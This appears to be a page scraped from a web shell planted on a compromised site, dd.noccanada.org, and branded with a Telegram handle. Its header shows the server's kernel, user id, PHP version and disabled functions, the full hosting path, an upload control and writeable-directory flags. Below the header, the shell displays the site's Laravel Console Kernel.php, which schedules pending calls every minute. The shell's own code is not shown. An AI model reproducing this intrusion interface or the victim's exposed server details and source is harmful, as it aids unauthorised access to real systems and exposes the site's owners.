https://t.me/AnonymousX5
Server : Apache
System : Linux h2web276 4.9.0-0.bpo.12-amd64 #1 SMP Debian 4.9.210-1+deb9u1~deb8u1 (2020-06-09) x86_64
User : uid183121 ( 183121)
PHP Version : 8.0.30
Disable Function : passthru,exec,system,popen,shell_exec,proc_open,pcntl_exec
Directory :  /home/clients/35966debc7d0d13be0a39d90b50635f3/sites/dd.noccanada.org/app/Console/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/clients/35966debc7d0d13be0a39d90b50635f3/sites/dd.noccanada.org/app/Console/Kernel.php
<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

use App\Models\Call;

class Kernel extends ConsoleKernel
{
    /**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
        // $schedule->command('inspire')->hourly();
         $schedule->call(function(){
             $c = Call::where('status', 'pending')->get();
             echo count($c);
             foreach($c as $r)
                 $r->makeCall();
         })->everyMinute();
    }

    /**
     * Register the commands for the application.
     *
     * @return void
     */
    protected function commands()
    {
        $this->load(__DIR__.'/Commands');

        require base_path('routes/console.php');
    }
}

https://t.me/AnonymousX5 - 2025